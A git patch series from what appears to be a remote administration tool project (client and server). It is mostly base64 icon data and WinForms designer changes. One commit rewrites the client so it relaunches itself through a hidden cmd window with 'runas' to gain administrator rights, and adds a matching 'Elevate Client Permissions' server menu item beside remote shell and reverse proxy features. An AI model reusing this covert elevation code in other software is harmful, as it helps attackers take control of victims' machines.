5LMyI74p8qiZjLIny/wL0HUWCc6JhwjMt8M2xFI6AUQ9rYi6XDhvbMCRUkHNR0z+BeByArUvH1Mb43BO - 1IEbLMX23WzaOeppw4+WFpzXO3BYIKdGAjgQu2/mpAoWu+emtaE3SaLtVGLx6xzG18cwsNiNjmANZg0M - dmQZ9CdICrKLA7kM21mpmFIpUeXoRWnHDHS1Pbyk2F+Iua1pjK4OYXgliF7eC8uAAfYKN3gmT/yBDOxI - 08EXyPCAa4amOQLn6BoqAvNI5/oFic6nEkLL/Rhc6kX/YgC+uXaw/Tqk217gJb+NGt87qBvD1EREANqW - SSjr3yDLPgxJmdOYovdoD/VdGrRPu9C94KW7yLSHMLm6j+DsFrzhj6jsWoCpbQYKx2tqLmyaQE61CCCb - jMViV0zNBpXazURLAioU+xlKDy/vomd6E89FPZtYh7IhTM2MmIgAaAICuCxjk/6a0am/Kq0aEnyRT/BG - NvBUTPBYjJ/vuOhMANKaEaSZ+4QEQFwaW2uKvKLzUCYWOoIf4B5bg6opgry6V0izBiE1PzllLK5b/zTH - RUbTVnYU5XL+qLR6RIwcQrbZ/0tpdZdf1EDyB7LktmdG8L5mAAAAAElFTkSuQmCC - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ4SURBVDhPpZHLbxJhFMX7H7h26c6NJq5YmKhxYWo0 - amKi0VU1VqMs2kUXNpomJsSSAmIfWExNtVQihkSglGmZAcpjOkKBgjC0pR2gWNOkQGzTjQsXx/tNFF+z - MHGSm29mcs7v3u/cDgD/VX/9yGazL1Op1FdRFBGNRiEIAjiOg9frhdvtfvOnvv2Sz+cPZDIZt6Io2Nra - hlKtQ1Fq2GC1UUWr9RlOp5OkGoBcLteZTqc/1Wo1NBoNpJZyWJTSSIhLiCWSiMXeY62sYHJykuQaADJj - Z2dHrXr9I0Qyj4/bYbM9w+joGIaHR7CyugG73U5yDYAkSdjd3SVzHZVKBXHWNZ7EQkxCZGERQjiB0so6 - gYZJrgFgYbVaLWxubtK9K4jSyKyr1WqFxWLB0NAQ5FIZJpOJ5BoAljQDsAzK5XXqKiEUESGEEggKMcwH - oygWV2EwGEiuAQgEAiqgWq1iba2sjswLcQT5GF4nX+HK20v4QICBgQGSawA8Hg+azaZ6/1Jptd2Vm4/g - 9NRx6MZ0mPI/R8/oddx+chHXDKf2z94/+rANcLlc6voYoCiXMMfMcxHMcmH4ZwWYpx7jkfsGZmUb8ts8 - rMI9XLUegU5/0KwCHA4H9vb21BALBRkBjsyBEGbI7Jvh0WXshK/4FL6VEZID5lA3rKE7DPBFBUxMTKT8 - fj9kWaYg6wjT6vyBMLy+IN5RnX9wDJz8QjX/eGYKNgb4GQat7BytKzM9PQ1xUaKrlLGck5FdLuJEzyGY - +JsY5LtU82Cw6/cJfi1K+kx/f3+hr68Pvb290Ov1uHD3JC6bD8PC31I7s5N9tzP4lyKxkWqfjf39NALo - +AY1hv6Ur5wdrwAAAABJRU5ErkJggg== - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZFdSFNhHMZPREQQWBcVUSQG0QdIRUQS - elWJ1IURVFCRWOSiQXqxm2GaKVFtrLn82GA4nevQbMQGY0udHzvb2XFzWxPb1LmzzaUUzpHedFXy9J4D - Lsh11cVzOLw8z+//RQH4L216CIfDvYFA4CfLsnC73XC5XHA6nbDZbLBYLO/+9ud/pqamikKhkIXneSwu - fgWfyoDn00gISqSQy30HTdPEWgAQiUSqgsHgUjqdRjabRWAyAh8XhJedBOP1g2EmMBfnYTAYiL0AgISx - vLwsKpP5ApaEtVodurq60dHRCY3mDWZmE9DpdMReAMBxHFZXV0k4g2QyCY9Q1ePHOMNhbNwH16gXsZl5 - AtIQewGAsKxcLoeFhQUydxJu0rJQVa1WQ6VSQaFQIBqLQ6lUEnsBgLBpASDsIB6fJ1U5jIyxcI14MeRi - MDjkRj1dgQe9p1HTU7pjE8DhcIiAVCqFubm42PKwy4OhYQZv/X24MXAVEmMZntlv4abuGKq7ivMQ8WO1 - WrGysiLOH4vNilWFio9NZSR4BrU9J/HEeh3vgxrILNW4pN63XqHcvTMPMJvN4vkEwOdoDB9Jy1LTOdg+ - deNDuFMMmoPtaB+RwTihwEO6EmdfbF8vbdtSJAL6+/uxtrYmLnF6OgqHcwz3ybxC+PVwPV4NSvHcWYcW - ey1aHRLoPG2401eOI0+pXyJAr9cH7HY7otEoWWQGo+R0t/XHMTDZDtqvgpFTwOB7SSCPoPW0oo6uQkkT - lT0gp06JAEHkZFfIuUImkwmsj8M17WFc1hzERfVelCt34W7veXQzLbhnqkRxE/Vtv5w6IeTygA01NzdX - yuXyaZlMhoaGBkilUkgkEpS2bkON8QKKG6klEj664d8E+JdIyz8ONW7FHjlV8ucd1G+4oOErp0oWzwAA - AABJRU5ErkJggg== - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALgSURBVDhPpZDbT5IBGMa5aG1e9R/4D3TR1nJmp7Va - B7twlc1O1izxkIfJ5mdDMW3mBoqOeUDRDDIBcxiiCPj5cfgQRBEQTBRRkJA0ZdZ1s4un79Ot2vKirYvf - zbv9nud9Xw6A/+LQ4Z/4fD6F2+3+4XQ6QdM0KIqC0WiETqeDRqMZPFRiCQQCx7xeryYSiSCR2EJkPY5I - JIY1lrV17O5+g0qlOlz2+/3XPR7P51gshmQyCfecH9MuDxzOOdgds7DbZ7ASjkAulx8ewMjY2dnZJx7f - gJORu7tlkEq70NHRiba2diyH1iCTyf6W++ndVK1WC5IkGTmOaDSKKbZ1ahY2uwtW2zQoiwNLy6tMUNtv - UeX4mqKwJkd6R+a/m0wmmM1mDA8PM3dHQTMrs60SiQStra1obm5GcCkMsVj8q/VIH/VldYDexoBtE+I3 - BrBbqNVqrKyEYbFOw2x1gjI7QFJ2TJA0FhdDaGxsPAiQTWyldown8MG1DTWdgES3BkJigM0d2r+TIKpA - TtIMdihn3yJn6CYWmIC6urqDgBbtp4wWbRRK6waaNCvo1IdRo/DjYY2SeVoHhoaGwOUWwGCy4FL/WaR3 - piOwsAw+n38QUK8KZTWoQ+gxRvCiP4DKXg8alH4QPTO4V9YEoVCIqud8jBst0I9TGNVT8AeCqKysPAjg - yeaJWkaUaEOo6HajUOJArsgCbguNJyIzLmQ3Qjc6iTFWHpvEyCiJeX8Q5eXl4JRIfUfzWlx7r9QLECi8 - EMg9+81l7Q4UtFpx5dl7CERa6A0WJoSElmXEBN/8IoqLi8F5IHLuFbe78PKdD7yuaWQLjLhaosH5xwNI - u92Ha/elsNFOLAbD+62syLK5uc38hQvOjdpJU67Qhpw6EmeeDu6l3VUQJ2+9zjqRKc04flmSWi2oz6yu - rv5IEAR4PB5KS0tRVFSE/Px85OXlhTgXK3Qp5wo1ptOPlHun7siPsj/5d8D5CcQ0539TQdfWAAAAAElF - TkSuQmCC - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKISURBVDhPpZFPSFMBHMeN6Tm6hdHBS7fOHuogKyMI - ISry2CEPwQiGWLoOepGIyRj+y4G0SpMWA53ON7e9bW7u+XRuc+renNO3f04Et+F26B8kfvu9Ry3I16kH - X3g8vt/P7/2+vzoA/6UzH6LR6NtQKPSD4zj4/X6wLAuHwwGbzQar1frxb3/tZWNj43wkErGKoohC4RBi - Jg9RzGJP0l4G5fIxpqamyKoAiMVit8Ph8EE2m0WxWERoLYZlPowgt4ZAcBWBwAp2UiLMZjPZFQAUxtHR - kax8fh8chcfGTBgdfY3h4REMDg5hO7kHk8lEdgUAz/OoVCoUziOdTmNJmrq0isUAD9/iMlhvEIntXQIN - kl0BIJVVLpeRy+Vo7zT89MvSVKPRCIPBAL1eDyGRwsDAANkVAFLTEkDqIJXapak8PD4OrCcIFxuA0+VH - PJ5Ef38/2RUADMPIgEwmg52dlPzLbnYJLncAH1bf4eGnu9gkQG9vL9kVADMzMyiVSvL+iUSyNtXh9EH9 - /hqaR5qxZuqD814jPOr6U1erap/UUwNYLBb5fBIgLiSwIIUXfJh3eGGfZ+F+1YnNZ9fxjTHgdNuJL5ZO - hDVXT9w36p/KgImJCVSrVbnErS0BjIPCjAdzFJ6dc8N5/xK+UhhDbUD3BeBlE0r6FrhuqjIyYHx8PGS3 - 2yEIAhWZh5dOZ2e8sM26ME3yqBtwGp0m65+n0ndRXkcGSKKT3aFzRSYnJ8Et87RKCusxAdH1ONgHjfj8 - 5jFAoe/P63BMyj9RgXo4qAF+i5q+pdPptrq6uqDVaqHRaDD6qAUrHVdw2N2Eoq4B6Y5z8LbVnzhbVS/O - AP4lrv1yD03M/rpCQQoDqPsJSNb8+jMBmwUAAAAASUVORK5CYII= @@ -356,6 +320,24 @@ lFCjcRJqF9NB0N0Hl01IFpYFz5QcFkXK3PmGhEh2bVxYWBMbzlTtDl/TZUDTVYqbBhHiS6iRfRIqhtnB VKtgyGfvgXdKBt9PHfqVXKdZnVHLLpdNcjnHfl0vRLyUGiTwTvacGmg8IR3RHJ0ZVB+xW1Xcv931mZXR IBvSsn2/dDtiJdSO1XNQ/wBgH9SZbXHbWQAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKfSURBVDhPpZLdT1JxGMdpa+suWy8XzfUH9D943+yu + q9bWZhfNuVVb0portaKSuzSXmomkx4SpaIkg8qKAyotApUBQKgqHwzmHwzkesJHGaHyDs+l086KXi++e + 3+95Pt/n99ueRwbgv3Rk8m906EKSZE0q/m2ajnp26JVZMJ/NYAJGMD49WL/xJxvxumiarjno2T9QFEUw + a58K6bAVYsQObtmEVbsGEfMAYrYBbC+NQVx8h8z8UImLhacONSibLUzYCSFsw4qFgGGwAzpCBe2IAYTG + CBUxBa1aBadaAcHaBdHcCSHkCEkNEolEOxN1QwjOwKF7Dbc/ilFXFsPOLNQ2Ed2mLbTrebTpOOi9Waxa + h5Eaf4acXgkq7B2UpWLhNB2YQNQ/h2KxiCnfNoYcWaisIk6du4Cqs9V4PpZBiyZdjpzEsCEXaG0zgn1N + RVncry+lkzHs7u5KRZ0rh16zgE6jgKoz1Th5+jweDrO4p6bRWo4VpsIKsRA+djRAlkps/BJFEfl8HoVC + AfZgrvxlDkodi0daGk2DKdxVUWjoIfHWxktMha14NvRdJRkVWhC5xFfkcjmpEEt9R98Mi2YiWX6VxO3e + OG6+2kTLUBLL61mJqbBsJIA48aAgI9cjb9JLE8iUp7DFJJDNZhFc40BYSDT1r6GxdxXdk3H4vqQlo8gx + 4HzTSPbUw6NSeKQxri57PdRsPwSnGnzQLvKxMMOzqQTP85t7ymQym1zEx7CGTpBls7VdzkzKLx/bX6TA + vFXvHu0qboy1gTO+AGdTgXVqwDg0YOcIUPqXoPpuY1F5o2Tqeer/0Fh7XNqDvQYVubvlJwzK+qvjj+tG + Jp/UcSZF3Q+L4vrOTOu1/Pv7VxY0d2rl2luXLh70HGrwLzoy+eeC7DdDjRpyPiqHagAAAABJRU5ErkJg + gg== @@ -395,6 +377,24 @@ ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA AABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALOSURBVDhPpZHJT1NRFMbrzrD2b3DtnrAyMSERGVMq + LdJHaVPoFOC1fZFSIBGxBCiktgxqS8sgULAyqIUiQgjwUCAQkSASw2QYF0SrjZv3+e4ljSR15+JLbu49 + 3+9851wJgP9SwsX7R9VJMzY2+S1rkO+rGOzlZlLtFxZgktXfm6lgk0lNvD4BsMKV82cmI061GhyLpnOO + wznL0vOprhhnpSYsWcv4eH0C4EtejvDdZkPM1YpjbRH2ZVlU5EzuyNtnaZoQMRuuU0C1z55kdpcnm5x6 + ubXPiJ2s24gGAjjTl+BEHIGY4rATjRqHjEIcKR0i4AYF3Pea+doxG+whC7igCbs5d/B7eAw/PW6clmho + 5LMyI74p8qiZjLIny/wL0HUWCc6JhwjMt8M2xFI6AUQ9rYi6XDhvbMCRUkHNR0z+BeByArUvH1Mb43BO + 1IEbLMX23WzaOeppw4+WFpzXO3BYIKdGAjgQu2/mpAoWu+emtaE3SaLtVGLx6xzG18cwsNiNjmANZg0M + dmQZ9CdICrKLA7kM21mpmFIpUeXoRWnHDHS1Pbyk2F+Iua1pjK4OYXgliF7eC8uAAfYKN3gmT/yBDOxI + 08EXyPCAa4amOQLn6BoqAvNI5/oFic6nEkLL/Rhc6kX/YgC+uXaw/Tqk217gJb+NGt87qBvD1EREANqW + SSjr3yDLPgxJmdOYovdoD/VdGrRPu9C94KW7yLSHMLm6j+DsFrzhj6jsWoCpbQYKx2tqLmyaQE61CCCb + jMViV0zNBpXazURLAioU+xlKDy/vomd6E89FPZtYh7IhTM2MmIgAaAICuCxjk/6a0am/Kq0aEnyRT/BG + NvBUTPBYjJ/vuOhMANKaEaSZ+4QEQFwaW2uKvKLzUCYWOoIf4B5bg6opgry6V0izBiE1PzllLK5b/zTH + RUbTVnYU5XL+qLR6RIwcQrbZ/0tpdZdf1EDyB7LktmdG8L5mAAAAAElFTkSuQmCC @@ -405,7 +405,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAYABCAGAAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAaABCAGgAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Server.csproj b/Server/Server.csproj index 6651ed894..4daa1638e 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -90,6 +90,7 @@ + @@ -154,6 +155,7 @@ + @@ -163,6 +165,7 @@ + @@ -171,6 +174,7 @@ + @@ -280,6 +284,12 @@ FrmBuilder.cs + + Form + + + FrmConnections.cs + Form @@ -433,6 +443,9 @@ FrmBuilder.cs + + FrmConnections.cs + FrmDownloadAndExecute.cs From 4a1d1bdcf2a59db01ba33039233c317ce11be501 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 30 Mar 2016 15:22:53 +0200 Subject: [PATCH 026/229] Improved requesting elevated permissions --- Client/Core/Commands/SystemHandler.cs | 28 ++++--- Client/Core/Packets/PacketHandler.cs | 2 +- Server/Forms/FrmMain.Designer.cs | 101 +++++++++++++------------- Server/Forms/FrmMain.cs | 2 +- Server/Forms/FrmMain.resx | 2 +- 5 files changed, 69 insertions(+), 66 deletions(-) diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 3ced4d741..9de22c3fc 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -7,6 +7,7 @@ using System.Windows.Forms; using Microsoft.Win32; using xClient.Config; +using xClient.Core.Data; using xClient.Core.Extensions; using xClient.Core.Helper; using xClient.Core.Networking; @@ -439,32 +440,35 @@ public static void HandleDoProcessKill(Packets.ServerPackets.DoProcessKill comma } } - public static void HandleAskElevate(Packets.ServerPackets.DoAskElevate command, Client client) + public static void HandleDoAskElevate(Packets.ServerPackets.DoAskElevate command, Client client) { - if (!(WindowsAccountHelper.GetAccountType() == "Admin")) + if (WindowsAccountHelper.GetAccountType() != "Admin") { - ProcessStartInfo proc = new ProcessStartInfo(); - proc.UseShellExecute = true; - proc.WorkingDirectory = Environment.CurrentDirectory; - proc.FileName = Application.ExecutablePath; - proc.Verb = "runas"; - MutexHelper.CloseMutex(); //Close the mutex so our new process will run + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + MutexHelper.CloseMutex(); // close the mutex so our new process will run try { - Process.Start(proc); + Process.Start(processStartInfo); } catch { - new Packets.ClientPackets.SetStatus("User refused the elevation request").Execute(client); - MutexHelper.CreateMutex(Settings.MUTEX); //Re-grab the mutex + new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client); + MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex return; } Program.ConnectClient.Exit(); } else { - new Packets.ClientPackets.SetStatus("Process already running as Admin").Execute(client); + new Packets.ClientPackets.SetStatus("Process already elevated.").Execute(client); } } diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index d1f67448e..c64f7f6e3 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -33,7 +33,7 @@ public static void HandlePacket(Client client, IPacket packet) } else if (type == typeof(ServerPackets.DoAskElevate)) { - CommandHandler.HandleAskElevate((ServerPackets.DoAskElevate)packet, client); + CommandHandler.HandleDoAskElevate((ServerPackets.DoAskElevate)packet, client); } else if (type == typeof(ServerPackets.GetDesktop)) { diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index 5849c7cdf..295dc443b 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -46,6 +46,7 @@ private void InitializeComponent() this.remoteShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.reverseProxyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.registryEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.elevateClientPermissionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.actionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.shutdownToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -84,7 +85,6 @@ private void InitializeComponent() this.settingsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.builderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.askForElevationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip.SuspendLayout(); this.tableLayoutPanel.SuspendLayout(); this.statusStrip.SuspendLayout(); @@ -93,7 +93,6 @@ private void InitializeComponent() // // contextMenuStrip // - this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.connectionToolStripMenuItem, this.systemToolStripMenuItem, @@ -102,7 +101,7 @@ private void InitializeComponent() this.lineToolStripMenuItem, this.selectAllToolStripMenuItem}); this.contextMenuStrip.Name = "ctxtMenu"; - this.contextMenuStrip.Size = new System.Drawing.Size(212, 193); + this.contextMenuStrip.Size = new System.Drawing.Size(150, 120); this.contextMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip_Opening); // // connectionToolStripMenuItem @@ -114,14 +113,14 @@ private void InitializeComponent() this.uninstallToolStripMenuItem}); this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; - this.connectionToolStripMenuItem.Size = new System.Drawing.Size(211, 30); + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.connectionToolStripMenuItem.Text = "Connection"; // // updateToolStripMenuItem // this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image"))); this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; - this.updateToolStripMenuItem.Size = new System.Drawing.Size(184, 30); + this.updateToolStripMenuItem.Size = new System.Drawing.Size(133, 22); this.updateToolStripMenuItem.Text = "Update"; this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click); // @@ -129,7 +128,7 @@ private void InitializeComponent() // this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image"))); this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem"; - this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(184, 30); + this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22); this.reconnectToolStripMenuItem.Text = "Reconnect"; this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click); // @@ -137,7 +136,7 @@ private void InitializeComponent() // this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image"))); this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem"; - this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(184, 30); + this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22); this.disconnectToolStripMenuItem.Text = "Disconnect"; this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click); // @@ -145,7 +144,7 @@ private void InitializeComponent() // this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image"))); this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; - this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(184, 30); + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(133, 22); this.uninstallToolStripMenuItem.Text = "Uninstall"; this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click); // @@ -159,19 +158,19 @@ private void InitializeComponent() this.remoteShellToolStripMenuItem, this.reverseProxyToolStripMenuItem, this.registryEditorToolStripMenuItem, - this.askForElevationToolStripMenuItem, + this.elevateClientPermissionsToolStripMenuItem, this.ctxtLine, this.actionsToolStripMenuItem}); this.systemToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemToolStripMenuItem.Image"))); this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(211, 30); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.systemToolStripMenuItem.Text = "System"; // // systemInformationToolStripMenuItem // this.systemInformationToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemInformationToolStripMenuItem.Image"))); this.systemInformationToolStripMenuItem.Name = "systemInformationToolStripMenuItem"; - this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.systemInformationToolStripMenuItem.Text = "System Information"; this.systemInformationToolStripMenuItem.Click += new System.EventHandler(this.systemInformationToolStripMenuItem_Click); // @@ -179,7 +178,7 @@ private void InitializeComponent() // this.fileManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("fileManagerToolStripMenuItem.Image"))); this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem"; - this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.fileManagerToolStripMenuItem.Text = "File Manager"; this.fileManagerToolStripMenuItem.Click += new System.EventHandler(this.fileManagerToolStripMenuItem_Click); // @@ -187,7 +186,7 @@ private void InitializeComponent() // this.startupManagerToolStripMenuItem.Image = global::xServer.Properties.Resources.startup_programs; this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem"; - this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.startupManagerToolStripMenuItem.Text = "Startup Manager"; this.startupManagerToolStripMenuItem.Click += new System.EventHandler(this.startupManagerToolStripMenuItem_Click); // @@ -195,7 +194,7 @@ private void InitializeComponent() // this.taskManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("taskManagerToolStripMenuItem.Image"))); this.taskManagerToolStripMenuItem.Name = "taskManagerToolStripMenuItem"; - this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.taskManagerToolStripMenuItem.Text = "Task Manager"; this.taskManagerToolStripMenuItem.Click += new System.EventHandler(this.taskManagerToolStripMenuItem_Click); // @@ -203,7 +202,7 @@ private void InitializeComponent() // this.remoteShellToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteShellToolStripMenuItem.Image"))); this.remoteShellToolStripMenuItem.Name = "remoteShellToolStripMenuItem"; - this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.remoteShellToolStripMenuItem.Text = "Remote Shell"; this.remoteShellToolStripMenuItem.Click += new System.EventHandler(this.remoteShellToolStripMenuItem_Click); // @@ -211,7 +210,7 @@ private void InitializeComponent() // this.reverseProxyToolStripMenuItem.Image = global::xServer.Properties.Resources.server_link; this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; - this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; this.reverseProxyToolStripMenuItem.Click += new System.EventHandler(this.reverseProxyToolStripMenuItem_Click); // @@ -219,14 +218,22 @@ private void InitializeComponent() // this.registryEditorToolStripMenuItem.Image = global::xServer.Properties.Resources.registry; this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem"; - this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.registryEditorToolStripMenuItem.Text = "Registry Editor"; this.registryEditorToolStripMenuItem.Click += new System.EventHandler(this.registryEditorToolStripMenuItem_Click); // + // elevateClientPermissionsToolStripMenuItem + // + this.elevateClientPermissionsToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; + this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem"; + this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions"; + this.elevateClientPermissionsToolStripMenuItem.Click += new System.EventHandler(this.elevateClientPermissionsToolStripMenuItem_Click); + // // ctxtLine // this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(261, 6); + this.ctxtLine.Size = new System.Drawing.Size(208, 6); // // actionsToolStripMenuItem // @@ -236,14 +243,14 @@ private void InitializeComponent() this.standbyToolStripMenuItem}); this.actionsToolStripMenuItem.Image = global::xServer.Properties.Resources.actions; this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem"; - this.actionsToolStripMenuItem.Size = new System.Drawing.Size(264, 30); + this.actionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.actionsToolStripMenuItem.Text = "Actions"; // // shutdownToolStripMenuItem // this.shutdownToolStripMenuItem.Image = global::xServer.Properties.Resources.shutdown; this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; - this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(178, 30); + this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.shutdownToolStripMenuItem.Text = "Shutdown"; this.shutdownToolStripMenuItem.Click += new System.EventHandler(this.shutdownToolStripMenuItem_Click); // @@ -251,7 +258,7 @@ private void InitializeComponent() // this.restartToolStripMenuItem.Image = global::xServer.Properties.Resources.restart; this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; - this.restartToolStripMenuItem.Size = new System.Drawing.Size(178, 30); + this.restartToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.restartToolStripMenuItem.Text = "Restart"; this.restartToolStripMenuItem.Click += new System.EventHandler(this.restartToolStripMenuItem_Click); 